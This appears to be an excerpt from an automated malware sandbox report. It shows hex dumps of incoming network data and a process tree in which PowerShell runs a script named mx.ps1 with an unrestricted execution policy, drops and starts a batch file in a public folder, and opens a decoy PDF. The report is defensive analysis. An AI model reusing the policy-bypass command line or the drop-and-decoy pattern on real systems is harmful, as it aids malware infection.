2023-06-01 10:14:27 UTC	226	IN	Data Raw: 3b 6c 56 25 fa 57 a0 9e f4 f0 2c 59 c5 74 2b 17 93 07 c4 fa d1 70 99 1a 59 2c 0d b3 29 81 37 d5 f5 79 51 38 8e 55 c7 20 79 ac cb e5 67 40 93 f1 7a 99 5d 5c dc b4 88 51 56 82 f6 f3 d6 ab 17 44 49 cb e4 ee 0b 1e fa 92 c1 33 38 77 75 a9 37 96 c8 a5 65 dd 21 76 d4 5f a9 22 9a e1 c9 4f 08 5e 75 e7 86 e8 4e 2c fd a3 a0 73 7d 8b 94 f4 8d 9b ad 15 07 c2 39 c3 77 0f b5 1a e2 b9 10 f3 68 76 be d5 de c5 a7 55 3b 11 37 24 37 cb 23 2a 20 5b 7b ef 2d 61 1c 9b 63 c9 27 b2 c0 94 c1 62 8d 22 93 47 25 0c 54 1b 6c fd 05 41 6d 14 6d 96 6d 95 6b 1b 92 9c d3 d1 a6 90 8a b5 c1 3f 05 88 89 93 e5 9b aa 49 1d d5 66 36 0a 80 e7 3a 32 b5 ee 59 5a ce 63 89 bf e6 26 26 f6 c6 2a 70 44 dd c1 ba 5d 72 08 b5 54 23 ba d9 b2 bf d6 fb a7 a8 ac 0b 31 59 d2 65 c6 d9 6d 69 31 16 82 e1 c3 26 ec Data Ascii: ;lV%W,Yt+pY,)7yQ8U yg@z]\QVDI38wu7e!v_"O^uN,s}9whvU;7$7#* [{-ac'b"G%TlAmmmk?If6:2YZc&&*pD]rT#1Yemi1&
2023-06-01 10:14:27 UTC	234	IN	Data Raw: e0 fb 87 c0 49 dc 32 fc 9d 3a 56 f5 c3 30 0a ad fc da 23 b7 34 53 90 4f 23 57 66 69 e8 14 af d3 44 f1 7d 99 7e 61 85 5f 82 03 3e b7 de c0 43 70 52 76 e9 a6 93 f8 69 48 c8 b9 ea 6e 16 a7 cd ca 82 af 13 28 fa 7b c0 f2 5e 7a 9e 0d 9d e3 17 e5 32 cf 1e 82 45 5e 4d 3d 1a 56 95 4a c0 52 e2 10 51 c4 5a 5a 35 d4 71 84 62 d9 13 b6 b2 dd ef c2 4c df 98 e1 8c c7 22 f7 e1 05 83 71 fa 8e ef 71 49 5f 48 e4 65 3c 12 ab a4 0d 33 83 e9 7b 76 0d be 14 3b ba 3e 33 1a ed 27 07 83 ea 2e ee 16 e9 bb d8 e9 ed 9a bc 65 0c ee 96 06 a7 46 16 b1 a4 ff cf 71 28 f0 3e 7b 9f 62 fd 8c 51 c6 70 51 0c 59 61 4a b3 2a b0 df 85 11 87 6e db 9f db 4c 28 fc fc d2 4d 3d 47 a9 d9 b3 f7 0c 1a 0c 1c 9c 94 67 00 69 9f 21 be c9 b6 b2 7c 6e 13 18 95 4c 26 e8 3f 8e 63 d2 c9 fa 0e de 45 9c e8 24 1b 3c Data Ascii: I2:V0#4SO#WfiD}~a_>CpRviHn({^z2E^M=VJRQZZ5qbL"qqI_He<3{v;>3'.eFq(>{bQpQYaJ*nL(M=Ggi!\|nL&?cE$<
2023-06-01 10:14:27 UTC	242	IN	Data Raw: 7b d9 8a f1 a3 e6 7e f8 77 0e 79 87 74 3e 65 8d 44 bc 6b 7e 50 a6 4d ac ae b6 d6 4c 64 86 36 c8 29 de 7e de 3f 93 ac 46 83 ff 79 89 cb 9e cf 70 c5 7e f8 94 4a 01 59 b6 9c e8 cc b8 98 58 b7 3c 86 c5 b4 60 af 02 fa a6 6f b0 48 d4 d9 9a c5 16 30 e1 90 08 1e 15 f5 f5 9c c6 0e f6 7a 9a df f2 21 dc af ad 28 45 31 f8 a1 35 3a f4 be 63 e6 bc 84 4f d3 36 9c c4 19 d6 ea f9 90 c5 df 4c 80 75 8c f1 66 0c 58 64 d8 77 18 ff 33 60 07 d9 3c a2 2c 56 18 f1 a6 a1 b7 77 b5 f5 d7 3d 83 30 8a 04 f4 63 d7 5d bb cf 9d 4b 81 30 53 8c 52 d8 96 99 90 cb d3 97 3e 6b eb 82 ee b7 3d 12 50 b8 d2 38 4a 98 b7 e7 d4 a9 e0 7e 99 f7 f2 36 2e 2d 5c 1a f7 0c f7 ed c2 46 e4 fa 55 01 dd b2 ae e3 6b 19 46 67 3d 81 ca bb 7d ed 79 0c b2 69 d7 c1 0c 19 14 10 af ea 14 5c 34 5c ff 6f 08 ff 33 00 6e Data Ascii: {~wyt>eDk~PMLd6)~?Fyp~JYX<`oH0z!(E15:cO6LufXdw3`<,Vw=0c]K0SR>k=P8J~6.-\FUkFg=}yi\4\o3n
2023-06-01 10:14:27 UTC	250	IN	Data Raw: f8 fc c3 29 08 48 ec 83 78 9d 4d 5f 44 8e d1 c6 a3 2a 5f ca 58 d7 d8 bf 3e 87 10 d3 b2 53 b0 45 0c fd a5 6d 13 2c c7 52 b6 43 18 31 2d 1f f2 e9 33 26 ce 57 9a a6 58 4a 63 a9 73 bd 9c b9 a2 38 25 d3 43 ed 34 9f 4d 6f e5 53 4a 28 9c ff 37 07 c6 c1 26 9b e7 74 6b a8 b8 a4 6a e1 2c ee 61 16 76 1d 81 82 2b 11 d4 d9 7f 00 40 c4 23 d1 c3 d2 f6 02 e5 b8 11 8a 2d 7c 69 82 bd 33 17 7d e0 eb ca 1a f2 0f 82 81 79 d0 af 23 4b 7b d0 9d 14 87 c3 b9 85 ad b3 b5 5e 57 2a 10 f9 6f 08 02 f6 5c 99 5b 2e 47 3d b3 12 4a fc c8 ab 32 02 be 14 a2 26 66 e7 8c 27 8c 7a 1a df 83 4f f6 b8 be ed d6 be 2e bf 9c b7 9e c4 75 dc 19 14 69 3b 67 c4 99 97 09 91 b8 16 5b 79 c1 da 31 bd 0c ec dc 0e 91 e1 64 e5 23 65 71 b2 3a f4 0d d9 ea 2e e4 7d b8 d7 27 0e 11 b4 bf 76 fc 6a bb 9f 8e 15 eb aa Data Ascii: )HxM_D_X>SEm,RC1-3&WXJcs8%C4MoSJ(7&tkj,av+@#-\|i3}y#K{^Wo\[.G=J2&f'zO.ui;g[y1d#eq:.}'vj
2023-06-01 10:14:27 UTC	258	IN	Data Raw: 10 bb d1 c1 48 91 a8 c5 03 2d fa 0b f8 cf ba 9c 0e 94 7f 87 e0 cc 34 f4 c1 f3 8c c2 09 9b 82 5a 52 fe 18 91 0c dd a5 ac eb bf 9d cc 4a 20 3f 67 3a a5 71 c2 11 7b de 7d 94 f7 81 51 6e 90 77 b8 7c 80 c7 27 5f af bc f8 a4 46 84 95 5c 70 3c f1 a9 ab 22 20 90 a2 1e 02 f0 e5 c9 93 be 4b 31 ba 25 43 31 5a a5 b2 15 d6 c5 bc 1b 88 55 92 3a a8 8c 23 c2 0f 00 3d 6e 77 9e 01 21 d3 cf 02 2a f5 a6 02 8b d0 65 d6 9a 3d ca 12 30 c3 1b 05 a5 9d a2 45 54 7a 9b 58 fc bd 52 a1 5c 99 3e 38 b9 96 f0 9b c9 47 8d ef 9d 21 f9 7e 36 59 8d e8 1f b3 90 de 76 f6 b8 6d a6 c6 6a e1 0f ee 3c 59 93 4d ca 79 90 1c 1e e0 80 b7 3e 24 23 d1 bd 74 13 40 00 be fa e7 a7 94 67 c7 d2 42 56 aa ee c0 fa f6 e7 a5 5a 35 47 18 19 d0 ae 11 bf 75 78 00 56 de 0b 40 88 81 01 62 ff 4c 1d 45 9f b1 58 44 d4 Data Ascii: H-4ZRJ ?g:q{}Qnw\|'_F\p<" K1%C1ZU:#=nw!*e=0ETzXR\>8G!~6Yvmj<YMy>$#t@gBVZ5GuxV@bLEXD
2023-06-01 10:14:27 UTC	265	IN	Data Raw: 95 88 ff 63 a6 c3 a0 2e 7f f8 03 06 15 9d 98 cf b9 9f 48 97 c5 0a 92 3b 30 71 8c 5c 2e 30 9f b6 4d fe 46 a7 94 46 11 f4 2f 30 41 fc cd c8 64 a6 4d b5 f9 e0 dd 7b b2 65 5b a7 ca 7e dc 4b 2b d7 14 63 c2 59 fd 80 4d 48 89 88 bd f8 c0 d5 86 ef 43 1c 13 f5 c2 25 6d 94 c4 99 45 87 b6 09 1e d6 d7 7c 18 31 f8 0e 3f 36 62 0b 87 29 dc 45 43 9e 26 74 40 66 72 9a c8 28 ff 77 3f 33 a1 7a 5d e9 ab 91 b3 11 5f 3c b8 30 61 e0 8f 18 95 82 0a 7d af 64 b8 dc 24 33 d0 11 9b 9f f3 70 a4 dc 71 14 b6 a3 20 07 26 74 22 27 ca 05 3e b2 92 13 86 33 f9 81 55 ed f6 6e cf 96 1a 8a 28 d9 95 7a 2c 61 ff f8 aa e3 9f 70 27 29 58 2e d1 b5 d4 6b b5 fd fe 37 ef 0d 38 91 47 37 5f da 0a d7 c1 5c f7 49 b4 8e d1 66 4b ed ac 08 9e f0 fa bd 4b 96 b2 72 d6 eb 78 ae ed f4 f2 83 65 4e 56 5a 92 2e e6 Data Ascii: c.H;0q\.0MFF/0AdM{e[~K+cYMHC%mE\|1?6b)EC&t@fr(w?3z]_<0a}d$3pq &t"'>3Un(z,ap')X.k78G7_\IfKKrxeNVZ.
2023-06-01 10:14:27 UTC	273	IN	Data Raw: 0a fd 19 3a 6b 74 2f 05 bd b2 a0 f1 ac 41 cb 98 11 58 f3 2f cd 20 13 f2 df 0b f8 8d 1b 98 18 b8 fa 7f cc 2f b9 a9 87 44 67 9c 34 6d 2f 63 c6 4d d7 5b 1b 57 98 72 21 4b 58 cb 0f 28 4d cd 6d e9 74 aa a3 3b 91 f8 65 fc aa 0e 54 8a 2a 21 a2 14 17 d6 86 da 7c 6c e8 94 9a 40 d1 b1 b5 51 e1 3c d3 96 74 3e ba 03 66 4e b3 fc 95 e1 b0 c4 a9 87 e5 f9 a5 df 05 2d e7 1e 5f e8 dd a7 a9 00 39 38 da 19 9f 31 01 93 0a 77 1a d5 4e d5 47 8b 1f de 40 79 b7 ad e7 25 1b ba 80 30 e1 4b d3 6a f0 d6 c0 6b 5a 33 42 34 ed 73 92 a0 1b ee d1 2f a8 f8 4d fb b2 ee 10 58 af b5 8a d6 df 73 99 a2 e3 6b b7 50 82 c2 68 e0 36 92 ec 8d ef f7 0f 7e 76 a2 a1 37 eb a0 13 f2 f8 60 a2 7d 10 16 7c 2e 05 be 4c eb b9 47 d5 da 95 cc 68 c3 d4 f5 36 61 b4 23 8c f1 43 6b ae 80 05 67 e0 8c 6e 29 45 1a b6 Data Ascii: :kt/AX/ /Dg4m/cM[Wr!KX(Mmt;eT*!\|l@Q<t>fN-_981wNG@y%0KjkZ3B4s/MXskPh6~v7`}\|.LGh6a#Ckgn)E
2023-06-01 10:14:27 UTC	281	IN	Data Raw: f9 9c 33 61 b2 bd b6 aa 7c 46 6f 7a d7 82 95 5e 27 b3 f1 d6 4f 42 27 94 ca ae 4a a6 e4 9f 74 7e b7 47 91 c8 4c 12 d7 9e 7b 77 f0 8f 91 d0 9a dc 8e 61 c4 11 ef 9a 7c c5 58 cd d8 e4 2e 08 13 63 fe e7 ef 3e f1 82 c1 a6 74 b2 50 cf cf 97 df 97 2b de f6 13 ab 23 ec 92 19 c4 2a 82 c1 be 5a 29 fc 92 51 5e 28 fc 79 fb 44 83 b8 b8 35 fe d9 e7 f6 2d 1f 27 07 38 9b 00 dc c9 3a cb bd 64 e0 33 cc 28 18 0a db 00 1a 8d 91 32 a0 6f a3 7a 69 32 d4 f2 50 5d ce f6 17 a3 b3 b9 e9 39 3e 23 5a 3e a8 4b 9f 02 8f be b7 5f 59 4a 97 20 51 e3 94 49 99 b5 03 2d 18 45 ee 35 41 3d 45 0c 80 32 c4 51 0c 95 21 f5 61 e9 cd f2 11 7b 55 71 ed 0c 00 8d f6 2e a0 29 88 a5 e8 96 b1 17 25 a2 25 02 9a a9 75 ff 41 9a bb 5c 9b 5d 2a 5d a9 bd 7e 2f 26 fe c8 32 9d 3f 89 70 e6 5e f0 ec 9d e0 a9 44 10 Data Ascii: 3a\|Foz^'OB'Jt~GL{wa\|X.c>tP+#Z)Q^(yD5-'8:d3(2ozi2P]9>#Z>K_YJ QI-E5A=E2Q!a{Uq.)%%uA\]]~/&2?p^D
2023-06-01 10:14:27 UTC	289	IN	Data Raw: f6 08 a7 ee 45 10 70 3b 2f cb 29 d6 9e a2 d6 32 65 70 38 88 e0 d5 55 85 37 a6 86 68 0f 40 40 16 49 af 87 41 c6 55 ae 68 b3 5c 0a 70 64 48 92 70 fe bc ae 05 b3 cd 13 48 ef 88 a8 44 97 65 61 7e 29 c6 6d b0 35 f2 b6 59 cf 0f ae 0e 80 d3 cf ef f5 ea 03 93 2a ba 5a 25 35 d7 08 65 9f aa d5 b9 60 da b3 2d 55 2d a8 ab 5b 33 cf 47 83 ca b2 b2 0d 01 d5 17 f3 f4 38 16 eb 93 88 5a a7 00 06 a6 47 55 65 b3 d3 a8 b5 7a a3 8b c2 00 98 12 ac f8 0b f5 ff b4 ce 27 71 c5 75 44 9f ed b5 62 34 58 00 3f da f5 d6 fc e3 75 42 38 ea 16 4a 9b 86 27 2b 09 ac d3 c1 8f 4e 33 fb e2 1c 1e 94 08 2f 87 0e a6 59 a6 e9 a2 5b 4b ec 70 4e 2a 14 04 c4 f3 dd 30 87 02 a0 19 76 43 1f f2 17 8d 7e d1 25 1c 0e 85 af 3f ab 85 e7 04 31 aa 10 a9 69 6e 74 7d 10 5d 84 b4 73 f9 6e c5 26 63 79 5a cb 86 b4 Data Ascii: Ep;/)2ep8U7h@@IAUh\pdHpHDea~)m5YZ%5e`-U-[3G8ZGUez'quDb4X?uB8J'+N3/Y[KpN0vC~%?1int}]sn&cyZ
2023-06-01 10:14:27 UTC	297	IN	Data Raw: 83 65 9f 0a db b0 af f7 4b 23 87 b6 34 88 f1 9f ca c8 c8 46 8e 09 e0 4b 47 06 68 98 a1 d4 ed 0d ed e0 45 66 ba 1c 3f 70 0f f6 8e a9 42 4a 02 35 2a bc ad 3e 4a 94 7f 35 ce 36 1a f6 2a ed af 21 06 8b 7a 96 b7 66 fe 3e 0d b9 94 15 8d f1 34 2b ea 9b 2c 5d de 9c 3c 9c 30 ed 28 3f 31 af 9c 11 62 a5 05 fc b0 06 f7 aa b0 5f c9 b9 30 88 be b4 9f 54 82 85 a6 a6 e7 e0 bf 3a 77 d0 38 f5 56 2a 09 fd a8 70 27 99 fe 6b ed 7d c6 ea 6a ca 78 57 92 89 c3 55 25 3e 96 b3 b5 08 55 17 fb 6f db 8a c8 d8 e2 3a f1 3d 98 9b 05 9b 10 18 34 31 8d 51 d8 86 3c 63 0e 67 f8 24 41 d1 0f b9 45 d1 56 03 66 a4 a1 13 fa 34 30 e0 c9 d7 65 2b 00 75 f4 c4 34 77 17 50 99 34 25 93 f3 7f 21 de 61 c2 4c 65 df 93 da 61 24 d1 9e 85 de ca b0 75 1d b6 fd d8 58 f1 1f 82 c5 db 90 02 d5 fe ea 32 4e c0 b3 Data Ascii: eK#4FKGhEf?pBJ5>J56!zf>4+,]<0(?1b_0T:w8V*p'k}jxWU%>Uo:=41Q<cg$AEVf40e+u4wP4%!aLea$uX2N
2023-06-01 10:14:27 UTC	304	IN	Data Raw: c5 bd 5d ea 80 6b d7 1b 4c 6a c4 95 03 ec ed ee 50 8a 01 89 94 1c d8 b9 26 0a ce de bc 07 ff 21 37 0d 5f c0 7b 5e 01 f9 6f 2e 21 a3 c5 ce 56 76 85 ab 0f 88 2d 86 f3 af cd e3 5a 85 e2 22 2a 8d b3 5b 9d 0d 17 50 6a ef a8 f4 2d e6 d8 f9 53 e8 e3 ea 68 19 fb a6 28 d1 99 3b 33 59 2c 47 1a c2 72 f7 41 de 8a 2c 37 18 44 c2 bb 48 bb ed cb 84 75 e5 34 68 be c3 a4 04 18 25 77 f6 dd 61 1d 49 68 ff 5e 5e 2d 4e 93 32 92 8e ec 8b 06 96 a8 1e 28 eb 74 c7 ab 91 c0 98 e1 2d a8 a4 5c d3 68 0c 0e b7 c0 24 63 99 ee ac 86 a1 01 fa ff 2b a0 9f d0 b4 7b 63 b6 31 1f da 4b df 72 30 99 28 ec 40 cd 06 2e 06 a7 e8 e1 72 98 be ae 4a 7a 01 3b 61 89 ae 5b 2b c2 48 ce 65 fa d4 75 cf 06 c3 a0 8f e3 c7 8a 53 cc 83 98 c2 e1 c9 f5 63 d5 ee cd 43 4e 2e a4 de 0a 04 4c f6 a2 8a f6 5c 1e 4c a8 Data Ascii: ]kLjP&!7_{^o.!Vv-Z"*[Pj-Sh(;3Y,GrA,7DHu4h%waIh^^-N2(t-\h$c+{c1Kr0(@.rJz;a[+HeuScCN.L\L
2023-06-01 10:14:27 UTC	312	IN	Data Raw: 83 f4 7b ba 44 80 61 bf 29 0b 6e 96 8b f5 23 6d 98 58 cc dd 61 9c df b1 d9 a0 7c 0f 39 6f 01 82 10 09 bd a4 f9 ec 9d 26 fc f5 07 1e 2e eb c4 d2 83 0c 89 8f 7d e8 f0 41 ef 60 ef d8 9f 9d 75 a4 37 04 44 dd 08 ee 8c 5e ed 3a 7f 72 13 aa 2f 2a b2 5c f3 d8 f1 26 69 11 72 d3 d6 db 28 56 f4 b3 2f cb 25 83 90 dc ae 45 6e 1f 6d 10 b3 ae 70 2b e0 7c 8d 99 f0 db 2f ae 2a 78 20 e8 ae 98 2c b7 14 26 a6 64 97 fd 6b 4c fd 33 d6 83 42 62 45 5b 7c 08 a6 1c 66 a3 d3 4a 79 d3 a6 08 57 32 63 08 c9 10 7f 1f a1 e7 3a e5 a2 16 8f 64 34 be cd 1a 13 e0 e6 69 4d ca 48 cd ed 3f 17 00 e3 77 70 00 e3 08 c1 c5 ad 0f fb a1 82 fa d8 7d 24 36 4c 53 42 e5 22 28 0a b1 66 a6 d6 13 3f 5f 07 d5 18 74 b3 90 69 c9 f5 bb 53 8f d8 fe c9 54 56 ff a4 5f e6 93 e7 99 07 f6 5f 5b 7f 31 47 1c ac 93 7c Data Ascii: {Da)n#mXa\|9o&.}A`u7D^:r/\&ir(V/%Enmp+\|/x ,&dkL3BbE[\|fJyW2c:d4iMH?wp}$6LSB"(f?_tiSTV__[1G\|
2023-06-01 10:14:27 UTC	320	IN	Data Raw: 9d a2 e0 69 93 0f 84 c4 d3 8a 0a 05 0a bc dd 19 12 17 90 36 9d 3d dd 1d ad 0a 66 0c 8e db 7c fc 08 17 85 2a c5 ec ea 7e 28 e2 e5 dd 88 8d 80 77 77 42 94 d8 85 cb 1a a7 21 65 73 51 cf 76 d9 58 6f ef 21 93 58 82 d5 87 6c a7 38 db b1 c2 20 80 a5 5a e6 a8 9b 31 e8 bf ea ae 77 c3 69 07 d0 dd bc 2c 6e 19 1d 1a 6f d3 f6 e9 a2 99 89 8d e3 dc a6 2d 7c d5 b3 69 3b 08 95 ba 16 7e de ce 93 76 1e 05 76 3e ec cf fc 60 1f 06 1b d7 5b 18 4a 67 31 ec f0 d5 b6 a1 00 d0 14 6a 3d 56 dc c8 1c 0c 45 dd ae 32 71 42 a5 c7 30 2b c3 8f e1 86 90 42 fa 63 03 a9 9b 34 f7 52 90 eb f0 05 8a 41 67 10 83 8e 07 3e 58 76 5c 3f 6f b1 a2 53 f8 b9 e9 81 97 80 f7 3e ab e9 8c 1a 02 ce e8 f1 2f 10 f5 ac 67 05 59 95 46 57 af 86 83 11 e4 f9 a4 37 b4 1b f9 b0 eb 9a 06 c7 af d4 34 f0 ae a3 84 b9 e7 Data Ascii: i6=f\|*~(wwB!esQvXo!Xl8 Z1wi,no-\|i;~vv>`[Jg1j=VE2qB0+Bc4RAg>Xv\?oS>/gYFW74
2023-06-01 10:14:27 UTC	328	IN	Data Raw: 93 cb 1d f6 87 3b 47 9a b6 de 49 bc 4f 9e e0 31 f2 b6 40 cd 7c 13 5c 69 dc 21 3d d2 1a 81 8f db 8d 57 89 b9 89 3e db 1f 9b f4 7a 19 93 de b0 03 bd e3 ee 03 09 86 87 d2 25 8d 90 51 0e 47 b3 a1 55 1c e7 d9 be a1 12 5f 99 91 d7 0f 43 95 96 33 a0 4d c9 9d f9 98 db 9d 7c cd 3b 80 b6 50 87 e2 27 59 cf ac dc c4 80 bb 95 c5 e3 b2 d1 2b 2c b1 e0 be 38 02 bc 7c 07 1d 8f 04 af d8 6f fa 7b 42 bb f8 9b 73 5e d8 44 a8 21 57 5a 7d 5c d1 3c 35 4a a4 f9 19 bd 2b ef af 3c d8 58 3e b7 16 ad 9b 41 3b 2f 80 19 81 bd 76 b9 14 87 c3 95 37 b2 6d cd c4 25 ba 56 0e df 58 78 26 96 6c 52 bd bd 2b 98 d3 7b 51 96 0c 2d 5e 86 b3 5b f0 ef c8 42 25 6b 91 53 de 9a f3 67 17 bb 7f 64 ec e4 16 c6 38 83 69 df 81 2a 59 15 28 58 c2 13 da 87 77 be 41 4f f4 f2 1c fb bb 1b c2 37 24 f6 89 ed 65 d5 Data Ascii: ;GIO1@\|\i!=W>z%QGU_C3M\|;P'Y+,8\|o{Bs^D!WZ}\<5J+<X>A;/v7m%VXx&lR+{Q-^[B%kSgd8i*Y(XwAO7$e
2023-06-01 10:14:27 UTC	336	IN	Data Raw: ad e7 00 41 12 bd 7c 50 6d 6b 1e 11 31 27 9e 3c 43 2b 1f 77 2a 0d 67 fb cc 09 f7 57 34 1c 4d 75 8b d4 36 52 0d 1e e3 99 cf 29 22 71 bb e2 56 ff e8 7c 16 b6 5c 01 00 80 5d 00 00 80 00 00 1e 0f cb 87 11 d8 ce 66 91 0f 83 1e ca fd 7b 33 d4 7f e9 b7 da 28 31 76 25 66 20 4d 2a 09 6d 6a f7 29 70 38 30 e7 cc 1d 56 17 b0 33 ba 47 46 e1 ec 9d a0 05 65 42 a2 ab b4 e0 13 ea 1b b9 7e c0 33 7e 58 39 6c 7e 61 d3 13 6d 5b 6f a8 d9 37 fd d3 6c c9 23 ba 79 3a 29 2e da 5c 1b 28 3b c5 84 24 cc 97 01 21 da c9 ff 31 41 87 2a e3 b9 92 5b 94 c7 21 85 38 7d f2 f2 e9 b5 52 97 ba 2a 10 a5 f0 45 63 ac 61 92 7f 8d db be 69 26 dc 22 03 c6 76 60 04 8f 8b f7 52 4e ce 96 33 9f a4 55 9b 34 49 5c d0 20 72 4d b7 1e e6 22 1c e5 b1 ae 97 fe 5c 80 89 07 b9 2d 80 c1 45 e6 d1 75 63 4c 68 f8 96 Data Ascii: A\|Pmk1'<C+wgW4Mu6R)"qV\|\]f{3(1v%f Mmj)p80V3GFeB~3~X9l~am[o7l#y:).\(;$!1A[!8}REcai&"v`RN3U4I\ rM"\-EucLh

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: powershell.exePID: 6692, Parent PID: 3528

General

Target ID:	0
Start time:	12:14:21
Start date:	01/06/2023
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\mx.ps1
Imagebase:	0x7ff745ad0000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Chronological Activities

Analysis Process: conhost.exePID: 6688, Parent PID: 6692

General

Target ID:	1
Start time:	12:14:21
Start date:	01/06/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7c72c0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: u5p3.batPID: 2128, Parent PID: 6692

General

Target ID:	2
Start time:	12:14:27
Start date:	01/06/2023
Path:	C:\Users\Public\u5p3.bat
Wow64 process (32bit):	true
Commandline:	"C:\Users\Public\u5p3.bat"
Imagebase:	0x400000
File size:	344681 bytes
MD5 hash:	9DCA43CB15D97693D2DE73683804C5C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 3%, ReversingLabs
Reputation:	low

Chronological Activities

Analysis Process: AcroRd32.exePID: 7020, Parent PID: 6692

General

Target ID:	3
Start time:	12:14:31
Start date:	01/06/2023
Path:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
Wow64 process (32bit):	true
Commandline:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\user\Desktop\List of required items and services.pdf
Imagebase:	0x9f0000
File size:	2571312 bytes
MD5 hash:	B969CF0C7B2C443A99034881E8C8740A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: RdrCEF.exePID: 2980, Parent PID: 7020

General

Target ID:	4
Start time:	12:14:37
Start date:	01/06/2023
Path:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
Imagebase:	0x3f0000
File size:	9475120 bytes
MD5 hash:	9AEBA3BACD721484391D15478A4080C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high